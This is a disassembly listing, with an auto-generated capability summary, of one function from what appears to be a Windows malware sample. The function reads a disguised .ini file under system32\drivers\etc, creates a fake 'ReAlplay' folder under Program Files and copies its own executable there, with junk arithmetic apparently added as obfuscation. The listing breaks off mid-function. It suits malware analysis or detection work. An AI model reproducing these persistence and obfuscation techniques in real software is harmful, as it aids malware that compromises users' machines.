Function at 0x402290
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Create process suspended
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44c3cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x14e8
call fcn.00432110
mov eax, dword [0x460640]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0xfe0], eax
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, dword [0x45eccc]
stosb byte es:[edi], al
xor eax, eax
mov byte [ebp - 0xa14], 0
mov ecx, 0x7f
lea edi, [ebp - 0xa13]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x45ecd4]
cdq
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0xfb8], ebx
mov dword [ebp - 0xfc4], eax
mov dword [ebp - 0xfc0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0xfac], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfac]
push 1
push 0xeae0c6d3
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0xfac], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfac]
mov edx, dword [ebp - 0xfc4]
push 1
add ecx, eax
mov eax, dword [ebp - 0xfc0]
push 0x86050f76
push eax
push edx
mov dword [ebp - 0xfac], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0xfac]
mov edx, dword [0x45ecdc]
sub ecx, eax
imul edx, edx, 0x5295f78d
mov eax, dword [0x45ece8]
imul eax, eax, 0x6b66a94
sub ecx, esi
add ecx, eax
add ecx, edx
push 0
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], 0
call fcn.004320d7
add esp, 4
mov dword [ebp - 0xfdc], eax
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004319f0
push 1
push 0x5295f78d
push edi
push esi
mov ebx, eax
call fcn.004319f0
mov ecx, dword [0x45eccc]
add ebx, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [0x45ece0]
sub ecx, edx
imul eax, eax, 0x140cef57
shr ecx, 1
add ecx, edx
mov edx, dword [0x45ece4]
shr ecx, 0x1f
imul edx, edx, 0x6181b446
add ebx, ecx
mov ecx, dword [0x45ece8]
imul ecx, ecx, 0x6b66a94
sub ebx, eax
sub ebx, ecx
mov ecx, dword [str._r_____r____]
add ebx, edx
sub ebx, ecx
sub ebx, 0x4f64023c
mov dword [0x45eccc], ebx
call fcn.00449953
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x44]
push eax
lea ecx, [ebp - 0xff4]
call fcn.004021e0
mov ecx, dword [ebp - 0xff4]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x314]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402480
lea eax, [ebp - 0x314]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402493
sub eax, edx
mov dword [ebp - 0xfa8], eax
jne 0x403840
mov esi, dword [0x45ecdc]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ecd8]
add edx, ecx
imul ecx, ecx, 0x151f392d
imul edx, edx, 0x5295f78d
mov edi, eax
add edi, edx
mov eax, 0x2a215c6f
mul esi
mov eax, esi
imul esi, esi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
push str.C:_WiNDoWS_system32driversetcSeRvicE3.ini
shr eax, 0x1f
sub edi, eax
push 0x100
lea eax, [ebp - 0x214]
push eax
sub edi, esi
sub edi, ecx
mov ecx, dword [0x45ece0]
push 0x44ee59
push str.RAND
lea edx, [edi + ecx - 0x6181b446]
push str.AAAAA
mov dword [0x45ecd4], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0x45ecd4]
mov esi, dword [0x45eccc]
cdq
mov edi, eax
push 2
mov ebx, edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0xfb8], ebx
mov dword [ebp - 0xfc4], eax
mov dword [ebp - 0xfc0], edx
call fcn.004319f0
push 2
push 0xb57eb16
push ebx
push edi
mov dword [ebp - 0xfac], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfac]
push 1
push 0xeae0c6d3
mov edx, ebx
push edx
sub ecx, eax
push edi
mov dword [ebp - 0xfac], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfac]
mov edx, dword [ebp - 0xfc4]
push 1
add ecx, eax
mov eax, dword [ebp - 0xfc0]
push 0x86050f76
push eax
push edx
mov dword [ebp - 0xfac], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
mov ecx, dword [ebp - 0xfac]
sub ecx, eax
sub ecx, esi
mov eax, dword [0x45ece8]
mov edx, dword [0x45ecdc]
imul eax, eax, 0x6b66a94
imul edx, edx, 0x5295f78d
add ecx, eax
lea eax, [ebp - 0x214]
add ecx, edx
push eax
mov dword [str._r_____r____], ecx
call fcn.004320d2
add esp, 4
test eax, eax
jle 0x40261a
lea ecx, [ebp - 0x214]
push ecx
call fcn.004320d2
add esp, 4
mov dword [ebp - 0xfdc], eax
mov esi, dword [0x45ece0]
mov edi, dword [0x45ece8]
imul esi, esi, 0x140cef57
mov eax, dword [0x45ecd4]
imul edi, edi, 0x6b66a94
cdq
push 1
push 0xeae0c6d3
push edx
push eax
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
mov dword [ebp - 0xfa8], esi
mov dword [ebp - 0xfec], edi
call fcn.004319f0
mov edx, dword [ebp - 0xfb8]
push 1
push 0x5295f78d
mov ebx, eax
mov eax, dword [ebp - 0xfbc]
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45eccc]
add ebx, eax
mov eax, 0x2a215c6f
mul ecx
sub ecx, edx
mov eax, dword [ebp - 0xfdc]
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add ebx, ecx
mov ecx, dword [0x45ece4]
mov edx, ecx
imul edx, edx, 0x6181b446
add ebx, edx
sub ebx, esi
cdq
mov esi, 0x190
idiv esi
sub ebx, edi
sub ebx, dword [str._r_____r____]
sub ebx, 0x4f64023c
mov dword [0x45eccc], ebx
mov esi, edx
mov eax, edx
and eax, 0x80000001
mov dword [ebp - 0xfe4], esi
jns 0x4026de
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x4028a7
mov eax, ecx
cdq
mov dword [ebp - 0xfd8], eax
push 0xfffffffffffffffe
mov dword [ebp - 0xfd4], edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [ebp - 0xfd4]
add ecx, ebx
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
mov edi, eax
mov eax, dword [ebp - 0xfd8]
push edx
push eax
sub edi, ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfd4]
mov edx, dword [ebp - 0xfd8]
push 1
push 0xeae0c6d3
push ecx
push edx
add edi, eax
call fcn.004319f0
mov ecx, dword [0x45ecdc]
add edi, eax
imul ecx, ecx, 0x6181b446
mov eax, dword [0x45ece0]
imul eax, eax, 0x2c857103
sub edi, eax
mov eax, dword [0x45ecd8]
cdq
add edi, ecx
mov dword [ebp - 0xfb4], eax
mov eax, dword [str._r_____r____]
mov ecx, eax
imul ecx, ecx, 0x151f392d
push 1
mov dword [ebp - 0xfb0], edx
cdq
push 0xb09bfdc4
push edx
dec esi
push eax
mov dword [0x45ecdc], edi
mov dword [ebp - 0xfac], esi
mov dword [ebp - 0xfc8], ecx
call fcn.004319f0
mov edx, dword [0x45ecc8]
mov ecx, dword [ebp - 0xfd4]
mov esi, eax
mov eax, dword [0x45ecd4]
add edx, eax
imul edx, edx, 0x242d3a05
push 2
push 0xb57eb16
sub esi, edx
mov edx, dword [ebp - 0xfd8]
push ecx
push edx
call fcn.004319f0
mov ecx, dword [ebp - 0xfb4]
push 1
sub esi, eax
mov eax, dword [ebp - 0xfb0]
push 0xeae0c6d3
push eax
push ecx
call fcn.004319f0
mov edx, dword [ebp - 0xfb0]
push 1
push 0x86050f76
sub esi, eax
push edx
mov eax, dword [ebp - 0xfb4]
push eax
call fcn.004319f0
mov edx, dword [ebp - 0xfc8]
mov ecx, dword [ebp - 0xfe4]
sub esi, eax
sub esi, edx
push 1
mov eax, edi
cdq
push 0xeae0c6d3
push edx
inc ecx
push eax
mov dword [0x45ece4], esi
mov dword [ebp - 0xfdc], ecx
call fcn.004319f0
mov edx, dword [0x45ecd8]
mov ecx, eax
mov eax, dword [str._r_____r____]
add edx, eax
imul edx, edx, 0x5295f78d
add ecx, edx
mov eax, 0x2a215c6f
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
mov edx, edi
imul edx, edx, 0x140cef57
shr eax, 0x1f
sub ecx, eax
mov eax, dword [ebp - 0xfc8]
sub ecx, edx
mov edx, dword [ebp - 0xfe4]
sub ecx, eax
mov eax, dword [0x45ece0]
lea ecx, [ecx + eax - 0x6181b446]
add edx, 3
mov dword [0x45ecd4], ecx
mov dword [ebp - 0xfe8], edx
jmp 0x4029ca
mov eax, dword [0x45ecd8]
cdq
mov edi, eax
push 0xfffffffffffffffd
mov eax, ecx
mov dword [ebp - 0xfb0], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd4]
mov esi, eax
mov eax, dword [0x45ecc8]
add eax, ecx
imul eax, eax, 0x242d3a05
sub esi, eax
mov eax, dword [str._r_____r____]
push 1
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
mov edx, dword [ebp - 0xfb0]
push 1
push 0xeae0c6d3
push edx
push edi
add esi, eax
call fcn.004319f0
push 1
sub esi, eax
mov eax, dword [ebp - 0xfb0]
push 0x86050f76
push eax
push edi
call fcn.004319f0
mov ecx, dword [ebp - 0xfe4]
sub esi, eax
mov eax, dword [str._r_____r____]
imul eax, eax, 0x151f392d
sub esi, eax
mov eax, dword [0x45ecd0]
push 1
cdq
push 0xebf310a9
push edx
push eax
mov dword [0x45ece4], esi
mov dword [ebp - 0xfac], ecx
call fcn.004319f0
mov edi, eax
push 1
mov eax, esi
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
sub edi, eax
mov eax, 0x4d7937c3
mul ecx
mov eax, dword [0x45ecc8]
shr edx, 0x1e
imul eax, eax, 0x6181b446
add edi, edx
mov edx, dword [0x45ece0]
imul edx, edx, 0x7f4ea4e2
sub edi, edx
add edi, eax
mov eax, 0x2a01e433
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x45ecc8], eax
mov eax, dword [ebp - 0xfe4]
mov edi, dword [0x45ecdc]
lea ecx, [eax + 2]
add eax, 4
mov dword [ebp - 0xfdc], ecx
mov dword [ebp - 0xfe8], eax
mov eax, dword [0x45ecd4]
cdq
mov ecx, eax
mov dword [ebp - 0xfb8], edx
mov eax, ebx
cdq
push 1
mov dword [ebp - 0xfc0], edx
mov edx, dword [ebp - 0xfb8]
push 0xeae0c6d3
push edx
mov ebx, eax
push ecx
mov dword [ebp - 0xfbc], ecx
mov dword [ebp - 0xfc4], ebx
call fcn.004319f0
push 2
mov dword [ebp - 0xfc8], eax
mov eax, dword [ebp - 0xfc0]
push 0xb57eb16
push eax
push ebx
call fcn.004319f0
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfbc]
push 2
push 0xb57eb16
push ecx
push edx
mov dword [ebp - 0xff0], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xff0]
push 1
sub ecx, eax
mov eax, dword [ebp - 0xfc0]
push 0x86050f76
push eax
mov edx, ebx
push edx
mov dword [ebp - 0xff0], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xff0]
mov edx, dword [ebp - 0xfec]
sub ecx, eax
mov eax, dword [0x45eccc]
imul eax, eax, 0x140cef57
mov ebx, edi
imul ebx, ebx, 0x5295f78d
sub ecx, eax
add ecx, edx
mov edx, dword [ebp - 0xfc8]
add ebx, ecx
mov ecx, dword [ebp - 0xfdc]
add ebx, edx
mov eax, 0x190
cmp ecx, eax
mov dword [str._r_____r____], ebx
jl 0x402b18
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfbc]
push 1
push 0x5295f78d
push ecx
push edx
call fcn.004319f0
mov ecx, eax
mov eax, 0x2a215c6f
mul dword [0x45eccc]
mov eax, dword [0x45eccc]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, esi
imul edx, edx, 0x6181b446
shr eax, 0x1f
add ecx, eax
mov eax, dword [ebp - 0xfa8]
add ecx, edx
mov edx, dword [ebp - 0xfec]
sub ecx, eax
mov eax, dword [ebp - 0xfc8]
sub ecx, edx
mov edx, dword [ebp - 0xfe4]
sub ecx, ebx
lea ecx, [ecx + eax - 0x4f64023c]
dec edx
mov dword [0x45eccc], ecx
mov dword [ebp - 0xfdc], edx
mov eax, dword [0x45ece8]
cdq
mov ecx, eax
mov ebx, edx
mov eax, 0x2a215c6f
mul dword [0x45ece0]
mov eax, dword [0x45ece0]
sub eax, edx
push 1
shr eax, 1
push 0xebf310a9
add eax, edx
push ebx
shr eax, 0x1f
push ecx
mov dword [ebp - 0xfd0], ecx
mov dword [ebp - 0xfcc], ebx
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
push 2
push 0x6b66a94
sub ecx, eax
mov eax, dword [ebp - 0xfd0]
mov edx, ebx
push edx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov ebx, dword [0x45ece0]
add ecx, eax
mov eax, dword [0x45ece8]
imul eax, eax, 0x6181b446
sub ecx, eax
mov eax, dword [0x45ecc8]
imul eax, eax, 0x151f392d
mov edx, ebx
imul edx, edx, 0x242d3a05
sub ecx, eax
sub ecx, edx
sub ecx, dword [ebp - 0xfc8]
mov dword [0x45ecd8], ecx
mov ecx, dword [ebp - 0xfe8]
mov eax, 0x190
cmp ecx, eax
jl 0x402c6c
mov eax, esi
mov esi, dword [0x45eccc]
cdq
mov dword [ebp - 0xfd8], eax
push 0xfffffffffffffffe
mov dword [ebp - 0xfd4], edx
mov eax, esi
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd0]
mov edx, dword [ebp - 0xfd4]
add ecx, esi
imul ecx, ecx, 0x79faf08a
push 2
push 0xb57eb16
sub eax, ecx
mov ecx, dword [ebp - 0xfd8]
push edx
push ecx
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfd4]
push 1
push 0xeae0c6d3
add ecx, eax
mov eax, dword [ebp - 0xfd8]
push edx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
imul ebx, ebx, 0x2c857103
imul edi, edi, 0x6181b446
mov ecx, dword [ebp - 0xfa8]
add ecx, eax
sub ecx, ebx
add ecx, edi
mov dword [0x45ecdc], ecx
push 0
push str.c:program_filesReAlplay
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [0x45ecd0]
push 1
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov edi, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ece0]
sub edi, eax
imul ecx, ecx, 0x7f4ea4e2
mov eax, 0x4d7937c3
mul esi
shr edx, 0x1e
add edi, edx
mov edx, dword [0x45ecc8]
imul edx, edx, 0x6181b446
sub edi, ecx
add edi, edx
mov eax, 0x2a01e433
imul esi
sar edx, 0x1c
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, dword [ebp - 0xfac]
imul edi, edi, 0x25
lea edi, [edi + str.Installing]
push edi
lea ecx, [ebp - 0x114]
push str.c:program_filesReAlplay_s
push ecx
mov dword [0x45ecc8], eax
mov dword [ebp - 0xfe4], edi
call fcn.00431a9a
mov eax, dword [0x45ecd8]
cdq
add esp, 0xc
mov dword [ebp - 0xfb4], eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0xfb0], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd4]
mov esi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecc8]
add eax, edx
imul eax, eax, 0x242d3a05
sub ebx, eax
push 1
mov eax, esi
cdq
push 0xb09bfdc4
push edx
push eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfb4]
push 1
push 0xeae0c6d3
push ecx
push edx
add ebx, eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfb4]
push 1
sub ebx, eax
mov eax, dword [ebp - 0xfb0]
push 0x86050f76
push eax
push ecx
call fcn.004319f0
imul esi, esi, 0x151f392d
sub ebx, eax
push 0
lea edx, [ebp - 0x114]
sub ebx, esi
push edx
mov dword [0x45ece4], ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [0x45ecd0]
push 1
mov eax, esi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov ebx, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecc8]
sub ebx, eax
imul ecx, ecx, 0x6181b446
mov eax, 0x4d7937c3
mul esi
mov eax, dword [0x45ece0]
imul eax, eax, 0x7f4ea4e2
shr edx, 0x1e
add ebx, edx
sub ebx, eax
add ebx, ecx
mov ecx, dword [ebp - 0xfdc]
mov eax, 0x2a01e433
imul ecx, ecx, 0x25
imul esi
sar edx, 0x1c
add ecx, str.Installing
push ecx
mov eax, edx
add ebx, edx
push edi
shr eax, 0x1f
lea edx, [ebp - 0x114]
add eax, ebx
push str.c:program_filesReAlplay_s_s.exe
push edx
mov dword [0x45ecc8], eax
call fcn.00431a9a
mov esi, dword [0x45ece8]
mov eax, esi
cdq
add esp, 0x10
mov ebx, eax
mov eax, dword [0x45ecd4]
push 1
mov dword [ebp - 0xfcc], edx
cdq
push 0xeae0c6d3
push edx
push eax
mov dword [ebp - 0xfd0], ebx
mov dword [ebp - 0xfbc], eax
mov dword [ebp - 0xfb8], edx
call fcn.004319f0
mov edi, dword [0x45ece0]
mov dword [ebp - 0xfc8], eax
mov eax, 0x2a215c6f
mul edi
mov eax, edi
mov ecx, dword [ebp - 0xfcc]
sub eax, edx
push 1
shr eax, 1
push 0xebf310a9
add eax, edx
push ecx
shr eax, 0x1f
push ebx
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfcc]
push 2
push 0x6b66a94
sub ecx, eax
push edx
mov eax, ebx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
imul edi, edi, 0x242d3a05
mov ecx, dword [ebp - 0xfa8]
add ecx, eax
mov eax, dword [0x45ecc8]
mov edx, esi
imul eax, eax, 0x151f392d
imul edx, edx, 0x6181b446
sub ecx, edx
sub ecx, eax
mov eax, dword [ebp - 0xfc8]
sub ecx, edi
mov edi, dword [0x45eccc]
sub ecx, eax
push 2
mov eax, edi
cdq
push 0xb57eb16
push edx
push eax
mov dword [0x45ecd8], ecx
mov dword [ebp - 0xfe8], 0
mov dword [ebp - 0xfc4], eax
mov dword [ebp - 0xfc0], edx
call fcn.004319f0
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfbc]
push 2
push 0xb57eb16
push ecx
push edx
mov ebx, eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfc4]
push 1
sub ebx, eax
mov eax, dword [ebp - 0xfc0]
push 0x86050f76
push eax
push ecx
call fcn.004319f0
imul esi, esi, 0x6b66a94
imul edi, edi, 0x140cef57
mov edx, dword [0x45ecdc]
mov ecx, dword [ebp - 0xfc8]
imul edx, edx, 0x5295f78d
sub ebx, eax
sub ebx, edi
add esi, ecx
push 0x100
lea eax, [ebp - 0x214]
add esi, ebx
push eax
add edx, esi
push 0
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
push 0x8000
lea ecx, [ebp - 0x214]
push ecx
call fcn.0043e961
add esp, 0xc
mov dword [ebp - 0xfac], eax
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov ebx, edx
mov edi, eax
push ebx
push edi
call fcn.004319f0
push 1
push 0x5295f78d
push ebx
push edi
mov esi, eax
call fcn.004319f0
mov ecx, dword [0x45eccc]
mov ebx, dword [0x45ece0]
add esi, eax
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [0x45ece8]
mov edi, dword [str._r_____r____]
imul eax, eax, 0x6b66a94
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add esi, ecx
mov ecx, dword [0x45ece4]
mov edx, ebx
imul ecx, ecx, 0x6181b446
imul edx, edx, 0x140cef57
sub esi, edx
sub esi, eax
mov eax, dword [ebp - 0xfac]
add esi, ecx
sub esi, edi
sub esi, 0x4f64023c
cmp eax, 0xffffffff
mov dword [0x45eccc], esi
je 0x40336a
mov esi, dword [0x45ecdc]
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd8]
add edx, edi
imul edi, edi, 0x151f392d
imul edx, edx, 0x5295f78d
mov ecx, eax
add ecx, edx
mov eax, 0x2a215c6f
mul esi
mov eax, esi
imul esi, esi, 0x140cef57
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
sub ecx, eax
sub ecx, esi
sub ecx, edi
mov edi, dword [ebp - 0xfac]
push 0x100000
lea ecx, [ecx + ebx - 0x6181b446]
push 0x4615c0
push edi
mov dword [0x45ecd4], ecx
call fcn.0043d56e
mov esi, eax
push edi
mov dword [ebp - 0xff0], esi
call fcn.0043d704
add esp, 0x10
cmp esi, 0x2800
jle 0x403364
mov eax, dword [0x45ece4]
mov ebx, dword [0x45eccc]
cdq
mov esi, eax
push 0xfffffffffffffffe
mov edi, edx
mov eax, ebx
cdq
push 0xad6a0873
push edx
push eax
call fcn.004319f0
mov edx, dword [0x45ecd0]
add edx, ebx
imul edx, edx, 0x79faf08a
push 2
push 0xb57eb16
push edi
sub eax, edx
push esi
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
push 1
push 0xeae0c6d3
push edi
add ecx, eax
push esi
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [0x45ecdc]
add ecx, eax
imul edx, edx, 0x6181b446
mov eax, dword [0x45ece0]
imul eax, eax, 0x2c857103
sub ecx, eax
add ecx, edx
push 0
mov dword [0x45ecdc], ecx
call fcn.004320d7
push eax
push 0x44eb00
push 0x4618c0
call fcn.00431a9a
push 0x180
lea eax, [ebp - 0x114]
push 0x8302
push eax
call fcn.0043e961
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
jne 0x403204
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4031c5
sub eax, edx
lea ecx, [ebp + eax - 0x118]
push str.s.exe
push ecx
call fcn.00431a9a
push 0x180
lea edx, [ebp - 0x114]
push 0x8302
push edx
call fcn.0043e961
mov esi, eax
add esp, 0x14
cmp esi, 0xffffffff
je 0x403364
mov eax, dword [0x45ecd8]
cdq
mov dword [ebp - 0xfb4], eax
mov eax, dword [0x45ece4]
push 0xfffffffffffffffd
mov dword [ebp - 0xfb0], edx
cdq
push 0xf4a814ea
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecc8]
mov edi, dword [str._r_____r____]
mov ebx, eax
mov eax, dword [0x45ecd4]
add ecx, eax
imul ecx, ecx, 0x242d3a05
push 1
mov eax, edi
cdq
push 0xb09bfdc4
push edx
push eax
sub ebx, ecx
call fcn.004319f0
mov edx, dword [ebp - 0xfb0]
push 1
push 0xeae0c6d3
add ebx, eax
mov eax, dword [ebp - 0xfb4]
push edx
push eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfb4]
push 1
push 0x86050f76
push ecx
push edx
sub ebx, eax
call fcn.004319f0
imul edi, edi, 0x151f392d
sub ebx, eax
mov eax, dword [ebp - 0xff0]
push eax
push 0x4615c0
sub ebx, edi
push esi
mov dword [0x45ece4], ebx
call fcn.0043af46
push 2
push 0
push esi
call fcn.0043acdf
xor eax, eax
add esp, 0x18
mov ecx, 0x80
lea edi, [ebp - 0xe14]
rep stosd dword es:[edi], eax
mov edi, dword [0x45ecd0]
push 1
mov eax, edi
cdq
push 0xebf310a9
push edx
push eax
call fcn.004319f0
mov ebx, eax
mov eax, dword [0x45ece4]
push 1
cdq
push 0x5295f78d
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ece0]
sub ebx, eax
mov eax, 0x4d7937c3
mul edi
shr edx, 0x1e
add ebx, edx
mov edx, dword [0x45ecc8]
imul ecx, ecx, 0x7f4ea4e2
imul edx, edx, 0x6181b446
sub ebx, ecx
mov ecx, dword [ebp - 0xfdc]
add ebx, edx
mov eax, 0x2a01e433
imul edi
sar edx, 0x1c
mov eax, edx
add ebx, edx
push ecx
lea edx, [ebp - 0xe14]
shr eax, 0x1f
push edx
add eax, ebx
push esi
mov dword [0x45ecc8], eax
call fcn.0043af46
push esi
call fcn.0043d704
add esp, 0x10
mov dword [ebp - 0xfe8], 1
mov esi, dword [0x45eccc]
mov eax, dword [0x45ece8]
mov edi, dword [0x45ecdc]
imul eax, eax, 0x6b66a94
mov dword [ebp - 0xfec], eax
push 2
mov eax, edi
cdq
push 0xb57eb16
push edx
push eax
call fcn.004319f0
mov ebx, eax
mov eax, dword [0x45ecd0]
push 0xfffffffffffffffe
cdq
push 0x4f64023c
push edx
push eax
call fcn.004319f0
mov ecx, dword [0x45ecd8]
mov edx, ecx
imul edx, edx, 0xb57eb16
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x2a01e433
imul ecx
mov ecx, dword [0x45ecc8]
imul ecx, ecx, 0x5295f78d
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [ebp - 0xfec]
add eax, ebx
add eax, ecx
sub eax, dword [0x45ece4]
lea eax, [eax + edx - 0x6181b446]
mov dword [0x45ecd0], eax
cmp dword [ebp - 0xfe8], 1
jne 0x403831
mov eax, dword [0x45ecd4]
cdq
mov ebx, eax
push 2
mov dword [ebp - 0xfb8], edx
mov eax, esi
cdq
push 0xb57eb16
push edx
push eax
mov dword [ebp - 0xfbc], ebx
mov dword [ebp - 0xfc4], eax
mov dword [ebp - 0xfc0], edx
call fcn.004319f0
mov ecx, dword [ebp - 0xfb8]
push 2
push 0xb57eb16
push ecx
push ebx
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfb8]
push 1
push 0xeae0c6d3
sub ecx, eax
push edx
mov eax, ebx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
mov edx, dword [ebp - 0xfc0]
push 1
push 0x86050f76
add ecx, eax
mov eax, dword [ebp - 0xfc4]
push edx
push eax
mov dword [ebp - 0xfa8], ecx
call fcn.004319f0
imul esi, esi, 0x140cef57
imul edi, edi, 0x5295f78d
mov ecx, dword [ebp - 0xfa8]
sub ecx, eax
mov eax, dword [ebp - 0xfec]
sub ecx, esi
add ecx, eax
add edi, ecx
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x214]
push str._s__33201_
push edx
mov dword [str._r_____r____], edi
call fcn.00431a9a
xor eax, eax
add esp, 0xc
mov ecx, 0x11
lea edi, [ebp - 0x1038]
rep stosd dword es:[edi], eax
mov eax, dword [0x45ecd4]
cdq
push 1
push 0xeae0c6d3
mov edi, edx
mov esi, eax
push edi
push esi
mov dword [ebp - 0x1038], 0x44
call fcn.004319f0
push 1
push 0x5295f78d
push edi
push esi
mov dword [ebp - 0xfa8], eax
call fcn.004319f0
mov ecx, dword [ebp - 0xfa8]
add ecx, eax
mov dword [ebp - 0xfa8], ecx
mov ecx, dword [0x45eccc]
mov ebx, dword [0x45ece0]
mov eax, 0x2a215c6f
mul ecx
mov eax, dword [ebp - 0xfa8]
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, dword [0x45ece8]
shr ecx, 0x1f
imul edx, edx, 0x6b66a94
add eax, ecx
mov edi, dword [str._r_____r____]
mov ecx, ebx
imul ecx, ecx, 0x140cef57
mov esi, dword [0x45ecdc]
sub eax, ecx
mov ecx, dword [0x45ece4]
imul ecx, ecx, 0x6181b446
sub eax, edx
add eax, ecx
sub eax, edi
sub eax, 0x4f64023c
mov dword [0x45eccc], eax
push 1
mov eax, esi
cdq
push 0xeae0c6d3
push edx
push eax
